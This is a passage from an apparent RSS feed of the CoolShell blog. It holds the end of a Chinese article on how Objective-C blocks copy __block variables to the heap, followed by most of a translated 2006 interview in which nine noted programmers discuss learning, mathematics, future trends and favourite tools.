__main_block_dispose_0};\n</pre>\n<p>栈上的__main_block_impl_0结构体为src，堆上的__main_block_impl_0结构体为dst，当发生复制动作时，__main_block_copy_0函数会得到调用，将src的成员变量i，即__Block_byref_i_0结构体，也<span style=\"color: #808000;\">复制到堆上</span>。</p>\n<h5>5.3 __forwarding指针的作用</h5>\n<p>当复制动作完成后，<span style=\"color: #808000;\">栈上和堆上都存在</span>着__main_block_impl_0结构体。如果栈上、堆上的block结构体都对捕获的外部变量进行操作，会如何？</p>\n<p>下面是一段示例代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i++; printf(&quot;%d\\n&quot;, i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&amp;thread, NULL, testBlock, (void *)[blk copy]);\n    printf(&quot;thread returns : %d\\n&quot;, ret);\n\n    sleep(1);\n    blk();\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(&quot;testBlock : Begin to exec blk.\\n&quot;);\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n    [demoBlk release];\n\n    returnNULL;\n}\n</pre>\n<ol>\n<li>在test()函数中调用pthread_create创建线程时，<span style=\"color: #808000;\">blk被复制了一份到堆上</span>作为testBlock函数的参数。</li>\n<li>test()函数中的<span style=\"color: #808000;\">blk结构体位于栈中，在休眠1s后被执行</span>，对i进行自增动作。</li>\n<li>testBlock函数在休眠2s后，<span style=\"color: #808000;\">执行位于堆上的block结构体</span>，这里为demoBlk。</li>\n</ol>\n<p>上述代码执行后输出：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\n1025\nAfter test()\ntestBlock : Begin to exec blk.\n1026\n</pre>\n<p>可见无论是栈上的还是堆上的block结构体，修改的都是<span style=\"color: #808000;\">同一个__block变量</span>。</p>\n<p>这就是前面提到的__forwarding指针成员的作用了：</p>\n<p><span style=\"color: #ff0000;\">起初</span>，栈上的__block变量的成员指针__forwarding指向__block变量本身，即栈上的__Block_byref_i_0结构体。</p>\n<p><span style=\"color: #ff0000;\">当__block变量被复制到堆上后</span>，栈上的__block变量的__forwarding成员会指向堆上的那一份拷贝，从而保持一致。</p>\n<h4>参考资料：</h4>\n<ul>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/dd293603.aspx\" target=\"_blank\">http://msdn.microsoft.com/en-us/library/dd293603.aspx</a></li>\n<li><a href=\"http://www.cprogramming.com/c++11/c++11-lambda-closures.html\" target=\"_blank\">http://www.cprogramming.com/c++11/c++11-lambda-closures.html</a></li>\n<li><a href=\"http://developer.apple.com/library/ios/#documentation/cocoa/Conceptual/Blocks/Articles/00_Introduction.html\" target=\"_blank\">http://developer.apple.com/library/ios/#documentation/cocoa/Conceptual/Blocks/Articles/00_Introduction.html</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Closure_(computer_science)\" target=\"_blank\">http://en.wikipedia.org/wiki/Closure_(computer_science)</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8309.html\">C/C++语言中闭包的探究及比较</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8309.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>76</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>对九个超级程序员的采访</title>\n\t\t<link>https://coolshell.cn/articles/8275.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8275.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 14 Sep 2012 00:29:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8275</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>原文：《Q&#38;A With Nine Great Programmers》时间有限，我只能粗译，难免错误。 这篇访谈源自2006年，最先发布在波兰程序员 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8275.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8275.html\">对九个超级程序员的采访</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>原文：《<a href=\"http://www.dodgycoder.net/2012/09/q-with-nine-great-programmers.html\" target=\"_blank\">Q&amp;A With Nine Great Programmers</a>》时间有限，我只能粗译，难免错误。</p>\n<p><strong>这篇访谈源自2006年，最先发布在波兰程序员 Jaroslaw &#8220;sztywny&#8221; Rzeszótko (AKA &#8220;Stiff&#8221;) 的博客上。但是这篇博文现在找不到了。非常感谢他能授权我重新发布这个博文。</strong></p>\n<p style=\"padding-left: 30px;\"><em>在一个炎热无聊的下午，我突发奇想。我想通过电子邮件的方式对那些我非常感兴趣和非常敬重的程序员问10个问题。准备这10个问题我只花了5分钟，这些都是我个人想问他们的问题，所以，我基本上没想太多要问他们什么。最后两个问题和编程没有什么关系，我就是想问题这些人的一些兴趣爱好。另外，不是每一个人都想回答我的，这是我第一次做“访谈”，所以，我犯了一些错误，一些问题没有得到回答。不管怎么样，我得到了很多很有意思的内容，所以，这对我绝对是一次很有意义的经历。</em><br />\n<em></em></p>\n<p style=\"padding-left: 30px;\"><em>并不是每一个人都回了我的邮件，也并不是每一个人都同意回答我的这些问题，也许在我发布这篇文章后我会得到那些回答，但是我已经迫不及待想把这些东西发布了，所以，我可能会更新这篇文章（更新：2006年3月8日，我收到了<em>Bjarne Stroustrup的回信</em>）</em></p>\n<p><em>&#8212; Jaroslaw</em></p>\n<h4>介绍</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\"><strong>Linus Torvalds</strong></a> &#8211; <a href=\"http://linux.org/\">Linux kernel</a> 作者。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Dave_Thomas_(programmer)\"><strong>Dave Thomas</strong></a> &#8211; &#8220;Pragmatic Programmer&#8221;(注：<a href=\"http://book.douban.com/subject/1417047/\" target=\"_blank\">douban</a>) 和 &#8220;Programming Ruby&#8221;(注：<a href=\"http://book.douban.com/subject/1422056/\" target=\"_blank\">douban</a>) 以及其它一些优秀书籍的作者。 你可以在 <a href=\"http://pragdave.pragprog.com/\">这里</a> 读读他对编程的一些想法。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/David_Heinemeier_Hansson\"><strong>David Heinemeier Hansson</strong></a> &#8211;   <a href=\"http://rubyonrails.org/\">Rails Framework</a> 作者- 一个目前最新最热的Web开发框架。他的blog在 <a href=\"http://david.heinemeierhansson.com/\">这里</a>. （陈皓注：他也是<a title=\"37signals\" href=\"http://en.wikipedia.org/wiki/37signals\">37signals</a>的领导人之一）</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Steve_Yegge\"><strong>Steve Yegge</strong></a> &#8211; 他可能并不那么知名，但是他给了很多有意思的回答。他有一个很火的关于编程的 <a href=\"http://steve-yegge.blogspot.com/\">blog</a>，他也是游戏 &#8220;Wyvern&#8221; 的作者。（陈皓注：他最火的是去年在google+上<a title=\"SteveY对Amazon和Google平台的长篇大论\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">对google和amazon的吐槽</a>，06年他应该在google了）</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Peter_Norvig\"><strong>Peter Norvig</strong></a> &#8211; Research Director at Google, 知名的 Lisper，AI书的著名作家，<a href=\"http://norvig.com/\">个人主页</a>。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Guido_Van_Rossum\"><strong>Guido Van Rossum</strong></a> &#8211; <a href=\"http://python.org/\">Python</a> 发明者。</li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Bjarne_Stroustrup\"><strong>Bjarne Stroustrup</strong></a> &#8211; C++发明者， <a href=\"http://www.stroustrup.com/\">个人主页</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/James_Gosling\">James Gosling</a></strong> &#8211;  <a href=\"http://java.sun.com/\">Java</a> 发明者。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://en.wikipedia.org/wiki/Tim_bray\">Tim Bray</a></strong> &#8211;  XML 和 Atom 规格说明书作者之一 <a href=\"http://www.tbray.org/ongoing/\">个人博客</a> 。</li>\n</ul>\n<div><span id=\"more-8275\"></span></div>\n<h4>Q 1: 你是怎么学编程的？是从学校里学的吗？或者你没有上过学:) ？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>在我17岁的时候，我在HP的计算器中用他们的RPN 栈语言自学编程的。在这之前，我尝试过学习编程一两次，但都没有学成。HP 28c 和 48g 的科学计算器是一个很牛的东西，而且还有不错的文档。我搞了一本3D图形的书，并很费力地把其中的Pascal语言转成RPN栈语言，并用48g写了一个3D的线框图渲染图。运行的还不错，在我买了PC和Turbo Pascal之后，我开始认真地学习编程。在我进入大学计算机科学专业之前，我已经是一个不错的程序员了。</p>\n<p>我在华盛顿大学拿到了计算机科学学位，这绝对是有价值的，所以，我建议所有的程序员都应该得到计算机科学专业的学位。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我没有在学校里学过编程，我在主要是读我自己想读的书，或是就直接去编程 (一开始在 <a href=\"http://en.wikipedia.org/wiki/Commodore_VIC-20\" target=\"_blank\">Commodore VIC-20</a> 学编程， 然后是 <a href=\"http://en.wikipedia.org/wiki/Sinclair_QL\" target=\"_blank\">Sinclair QL</a>上编程)。</p>\n<p>当然，我觉得上大学非常有用。我没有去一个工科大学，我上了赫尔辛基大学，这是一个比较偏理论的大学，所以，那里的教育并没有那么多的编程的东西（编程只是很少一部分），这里大多数的课程都倾向于教一些基础概念的东西，如：复杂性分析。看上去很无聊，甚至有点浪费时间，但是我还是觉得这些课有用，我对大多数课都还比较enjoy。所以，我觉得我可能在这些方面是一个比较好的程序员。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我学编程是从用HTML做我的第一个网页开始的。那时，我想当我的网页能动态地显示一些内容，所以，我选择了ASP和PHP。在做完这个网页后，我知道了怎么去编程，于是我开始我的计算机科学和商业管理学位的学习。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我是从高中和大学课程中学编程的，但是我还是觉得我自己学得更多。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>我是在高中学编程的。我完全地迷住了，我对编程爱得无法自拔，然后，我开始挑选那些提供软件开发课程的大学。最终，我去了伦敦大学的帝国学院。第二年我就开始学习软件开发的课程了，那绝对是非凡的，学生和教员在一起工作把教材做得更好，每一个人都可以从中学到很多。这些课程给了我难以置信和非常雄厚的软件开发背景。我在那里读到了博士，最后去创业了。</p>\n<p>关于“我是怎么学编程的”这个问题，我的回答是“我现在还在学编程”。我认为好的程序员一生都在学编程。这并不是去学一门语言或是一个代码库，好的程序员会对他们的编程技艺一年又一年地精益求精。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>我去的那个大学有一个大型主机和很多不同的计算机课程。这对我很重要。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>起初，我是自学的。在我去上大学之前，我就找到了一份程序员的工作。但是我很高兴我去了大学，在那里有很多乐趣，最终我学到了博士。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>我先上的是Aarhus大学， 然后是 剑桥大学(Cambridge)，这两个大学教了我很多很有用的东西，这些东西为了以后的工作打下了基础。另外，我对编程和钱的关系学得非常好——知道了真实世界的问题，正确性，维护性，准时交付，等等，这些比教育可能更重要。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>我本来想去做一个数学老师的。但是，那个学数学的大学要我去学几个计算机的课。</p>\n<h4>Q 2: 你们觉得对程序员最重要的事是什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>沟通能力（写和说）。除非你可以让你的想法更有效率地传递出去，否则你不可能做得比编程更多的事。程序员应该疯狂地阅读，锻炼写作能力，参加一些写作培训课程，甚至锻炼在公开场合演讲的能力。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>It’s a thing I call &#8220;taste&#8221;. 有一件事，我把它叫做“品味”。</p>\n<p>我倾向于不从熟练程度来评判那些和我工作过的人。这些人能非常艰苦地写出很多代码，但是我想从他们对别人的代码的反应做出评判，这样我们就可以明白他们自己写的代码怎么样，知道他们使用的方法怎么样。他们对别人的评判还告诉我，他们是不是有好的“品味”。是这样的，如果一个人没有“好的品味”，那么他一般不会很好的评判他人的代码，他自己写的代码通常也不会很好。</p>\n<p>哦，这并不只是唯一的事。还有一件事，尤其在开源项目里，那是他是否有能力能和别人进行简单的沟通，告诉别人他要干什么，怎么干。这个能力可以告诉别人为什么你干的事是非常重要的，并不是所有的人都有这个能力。</p>\n<p>也就是说，有一些人可以写出很不错的代码，但他们并不一定能解释这些代码，他们也并不一定有好的品味，但是代码可以运行得不错。有时，你需要另一个人（有那种不错的品味的人）把他的代码转成更好的形式。也就是说，任何一个程序员都需要那种可以用清晰的代码来解决复杂问题的基础能力。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>很强的对有价值的事的感觉。你可以问问自己这个问题你有没有这种能力：我现在做的这个事值不值得做？很多程序员浪费了如大海一样的时间去做一些无意义的事。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我不觉得只有一个，如果要我说一个的话，我说是“专注”。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>热情。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>你的问题很难回答啊:-) 我猜，如果程序员会在早晨煎个鸡蛋做早餐，那真是无价的能力。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>自我激发。你需要全身心地投入到你要做的事中。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>把事想清楚的能力：程序必需要能清楚地理解问题并能清楚地表述解决方案。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>能为自己的直觉提供证据的能力。</p>\n<h4>Q 3: 你是否认为数学和/或物理是一种很重要的编程技能？为什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>数学有很多的分支和程序员相关，他们是“离散数学”和“具体数学”。这些分支包括的学科有，概率论，组合数学，图论，归纳证明，和其它有用的东西。我会鼓励所有的程序员都去学习离散数学，无论能学多少，因为这总比什么都不懂强。</p>\n<p>对于传统的数学，我也不经常用，但是我需要的时候这些数学知识会很管用。例如，在我之前的工作中我就用到了微积分。我需要估计每个小时中某服务的高峰时间的流量负载，所以，他的负载是跟着太阳走的就像一个正弦曲线一样。最简单的方式就是把每个小时的负载曲线给整合起来。如果我不知道微积分，我就不知道怎么更为准确地估计。</p>\n<p>当年我在开发我的Wyvern游戏的时候，我的平面几何的知识对我非常有帮助。而且经常使用代数和线性代数的知识。但我很少在工作中使用三角学或微分方程，微积分同样也很少。</p>\n<p>我想说，简单的数学基础让我的技能比一般程序员好过5%到10%。如果我了解更多的数学，我确信我会比今天做得更好，所以，我每周都会花几个小时学习数学。</p>\n<p>我喜欢物理，我还在学习物理，我会花我一生去理解量子力学。但是我个却没有发现物理对我的程序员工作有多有用。当然，如果我从事一些和物理相关的工作，可能会有用，例如：3D游戏编程，或是某种物理特性仿真。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我个人认为有很强的数学背景是一件好事。但我不确信物理是不是这样的，但是我深信懂数学的人会让你成为一个更好的程序员。这些智力模型都是相通的。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>根本没用。至少对业务编程和Web应用来说没用。但是数学可能对一个人的写作有很重要的帮助。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>是的。很多相法都是从数学来的：归纳，递归，逻辑，等等。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>也许吧。但老实说，我没见到过懂这些学科和好的程序员有很大的相关性。</p>\n<p>然而，我见过有音乐背景和好的编程技能有很强的相关性。我不知道这为什么，但是我怀疑大脑中的某个区域可以让人即可以写出好的音乐，也可以写出好的代码。（陈皓注：<em><a href=\"http://www.weibo.com/n/Sir%E9%98%BF%E6%80%AA\">@Sir阿怪</a> </em>貌似就是这个例子）</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>数学，当然（对于一些学科是很重要的，我不关心微分方程，但是代数和逻辑学是很重要的），物理，我不觉得对编程技能有关，当然物理在其它很多地方很有意思。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>当然！数学教会了我逻辑和推导……让我有了一双懂分析的眼睛。当我们分析算法的时候，数学是无法被取代的。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>这要看程序员自己和项目性质了。以前的数学很有用，物理一般，但是学好物理是是学习应用数学最好的一条路。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>对我来说，在我的编程生涯中我从来都没有用过大学里教的数学。</p>\n<h4>Q 4: 关于编程，你们认为接下来的大事是什么？X-Oriented编程，Y语言，量子电脑 ？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>我认为Web编程会逐渐变成最最重要的客户端编程。而对于原来传统的客端端编程都会被废弃，如： GTK, Java Swing/SWT, Qt, 当然，所有的和平台有关的东西，例如 Cocoa 和 Win32/MFC/等。</p>\n<p>当然，这不会一晚上就发生了。这会在第一个十年内缓慢地发生，而在第二个十年内，Web Apps最终会胜利。工具，语言，协议，和浏览器技术都会进步得非常快，并会完全超出你今天能干的事。每一年都会向前进一步，而从今天开始，我会最终决定把我所有的应用开发全部切换到基于浏览器的应用。（陈皓注：我也是这么认为的，参看《<a title=\"来信， 创业 和 移动互联网\" href=\"https://coolshell.cn/articles/5815.html\">来信，创业，移动互联网</a>》）</p>\n<p>微软和苹果最终不愿意这个事发生，所以，触发这个事的第一步会是一个开源的浏览器（如：Firefox）开始到了支配市场的地位，然后会出现某种Firefox的杀手级应用（这种杀手级应用可能会像iTunes一样，所有的人都会用它，只需要下载Firefox）</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我并不认为我们会看到一个“大的跳跃”。我们只会看到很多的工作帮助我们把那些沉闷辛苦的工作变得更简单——会有一个更高级别的语言，也许把简单的数据库集成到语言中来会是其中最主要一个。</p>\n<p>例如，我个人相信“Visual Basic”在编程方面比“面向对象”做得更多。当然，人们都在取笑VB是一个很烂的编程语言，并且人们在谈论OO语言都十多年了。但我还觉得不是这样的，Visual Basic 不是一个好的语言，但是我觉得VB那简单的数据库接口比OO更重要。</p>\n<p>所以，我认为会语言有很多的改进，并且，硬件的改进会让编程更容易，但我并不期望会有巨大的生产力或是革命性的改进。</p>\n<p>至少，你不会开始搞真正的AI的东西，我也不认为真的AI会变成某种你不需要编程的东西。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>我从不试图预测未来。我也不相信命运一说。最好预测未来的方式就是去实现未来。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>大规模的分布式处理</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>下一个最牛的事会被再下一个最牛的事所掩盖，然后再被再再下一个所掩盖，再再再下一个所掩盖……。这是一件没完没了的事，所以，我并不会试图去找最牛的事，因为这会让人们忘了那些最真实的问题：把基本的东西做对。我们要让用户更满意，专注于交付有价值的东西，自豪于我们做的事。一个程序员可以使用很多工具把这些事做得更好，而不是去追逐时尚和流行。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>对不起，我没有那么多水晶球。我CGI被发明了5年后预测过它 :-)</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>有两个事是我现在最关心的，那就是要对付并行和复杂。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>我不知道，我也不愿猜。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>不知道。</p>\n<h4>Q 5: 如果你有3个月学一个相对较新的技术，你会学什么？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>我的确有3个月的业余时间，我准备学一下 Dojo (<a href=\"http://dojotoolkit.org\" target=\"_blank\">http://dojotoolkit.org</a>) 和高级 AJAX 及 DHTML。我会通过开发一个相当牛的Web应用来学习他们。Dojo 真的酷，并且我确信它会越来越好。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>嗯，我真的很爱做 FPGA（可编程芯片），但我部是太忙了而不是坐来来开始学习。我喜爱和硬件打交道：很明显这个原因是因为我最终在做操作系统，因为操作系统（除了编译器）基本上都是在和硬件打交道，但我没有真正地自己去设计和做一个硬件。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>Mac 的 Cocoa 编程</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我想把 Javascript 学得更好，<del>然也</del>当然也想学 flash.</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>如果“新”是对于我来说，那么我会去学钢琴课。</p>\n<p>如果“新”是说技术，我猜 我会选择学习某种和为残疾人服务的有关的技术。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>单板滑雪。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>搞点有乐趣的东西，我会学习最新的3D渲染技术。我可能会写一个光子映射渲染器。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>3个月只有很少的东西你可以学，我觉得你只能参加某个成熟领域的培训。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>安全，加密，数字签名，身份标识，等等。对我来说，从没学过这些东西对我来说是个很大的问题。</p>\n<h4>Q 6: 你们觉得如何让一些程序员可能有超过其它程序员10倍或100倍的生产力？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>我想你应该考虑一下为什么不是让所有的程序员都一样牛。托马斯爱迪生有一句关于天才的名言也许会给你一些启示。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>我真的不知道，我想，一些人之所以更牛是因为他们可以专注于那些重要的事，而更多的只不过是在应付。那些我所知道的真的很牛的程序员从很年轻的时候就在做事了。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>把难题变简单的能力。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>把整体问题一次性放入大脑的能力。</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>他们关心他们做的事。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>大脑结构基因不同。</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>他们知道他们要做什么，他们不并不急于仓促行事。他们有他们要做的事的整个蓝图。</p>\n<p><strong><em>Bjarne Stroustrup</em></strong></p>\n<p>首先，缺少足够的职业培训，或基础不够。其次，这些人要即聪明（那种可以把事情想清楚，直达核心的能力），又有经验，并有使用工具的知识。编程需要把理论和实践结合起来 &#8211; 并不是使用没有实际业务的知识。</p>\n<p><strong><em>Tim Bray</em></strong></p>\n<p>令人惊讶的思维改变。</p>\n<h4>Q 7: 什么工具是你的最爱（操作系统，编程/脚本语言，文本编辑器，版本管理，shell，数据库，或其它没它你活不了的工具），为什么不是别的？</h4>\n<p><strong><em>Steve Yegge</em></strong></p>\n<p>操作系统： Unix! 我用Linux，cygwin，和 darwin。你无法打败那些高效的工具。每一个程序员都应该学习使用/bin和/usr/bin下的所有命令。</p>\n<p>脚本语言：Ruby。我几乎对所有的重要的脚本语言都很熟悉： Perl, Python, Tcl, Lua, Awk, Bash, 和一些我忘了的。但是我太懒了，而Ruby是目前所有脚本语言中最简单的，它应该是天堂制造的。</p>\n<p>编程语言：没有一个我喜欢的，我觉得所有的编程语言都很扯。我倾向于Java，因为它很强，可跨平台，有多不错的工具和类库。但是Java未来会进化或是灭亡，Java还没有好到可以永远保持其领先地位。</p>\n<p>文本编辑器：Emacs，因为这是迄今最好的编辑器。</p>\n<p>版本管理：SVN，Perforce更好一些，但是也很贵。</p>\n<p>Shell脚本： Bash, 因为我太懒了去学一个更好的。</p>\n<p>数据库： 当然是MySQL，没有之一。</p>\n<p>其它：我发现GIMP是无价的，但也是令人恼<del>炎</del>火的。我用这个东西好几年了，但什么也没干，但是我没它活不了。很讽刺吧。Firefox 越来越是我最重要的工具。如果让我去用IE和Safari，我会有严重的窒息感。</p>\n<p>注：所有的这些工具 (Unix, Emacs, Firefox, GIMP, MySQL, Bash, SVN, Perforce) 都有一个共同点：他们是可扩展的。例如：他们都有可编程的API。伟大的程序员知道怎么编写他们的工具，而不只是去使用。</p>\n<p><strong><em>Linus Torvalds</em></strong></p>\n<p>实际上，我最终也没有用过几个工具，而我却花了一些时间让这些工具为我工作。最大的事是我自己写了个操作系统，我也自己写了个版本管理系统（git），我用的文本编辑器是 micro-emacs &#8211; 最终我也定制和扩展了它。</p>\n<p>除了上面三个，其它的东西，我深度关心我的邮件阅读软件，我使用“pine”，并不是因为它是史上最好的邮件阅读软件，因为我习惯了，用它我会有最低限度的大惊小怪。</p>\n<p><strong><em>David Heinemeier Hansson</em></strong></p>\n<p>OS X, TextMate, Ruby, Subversion, MySQL. 这些组合让我很快乐。我希望那些有好的品味的专注于重要的事的工具。</p>\n<p><strong><em>Peter Norvig</em></strong></p>\n<p>我不喜欢那三大操作系统 &#8211; Windows, Mac, Linux。我喜欢 Python 和 Lisp. Emacs.</p>\n<p><strong><em>Dave Thomas</em></strong></p>\n<p>在使用Linux10年后我转到Mac平台有两年多了。Mac并不见得有多好，但是它不需要很牛的技术，也不需要经常维护，这让我可以让我更专心得使用它。</p>\n<p>我并不是一个单一工具的信仰者，我喜欢换来换去的，这样可以让我有更多的经历。现在，我使用 OSX, Emacs, TextMate, Rails, Ruby, SVN, CVS, Rake, make, xsltproc, TeX, MySQL, Postgres, 还有一堆高效的小工具。没人知道我明年会用什么。</p>\n<p><strong><em>Guido Van Rossum</em></strong></p>\n<p>Unix/Linux, Python, vi+emacs, Firefox.</p>\n<p><strong><em>James Gosling</em></strong></p>\n<p>这些天，我在用 NetBeans. 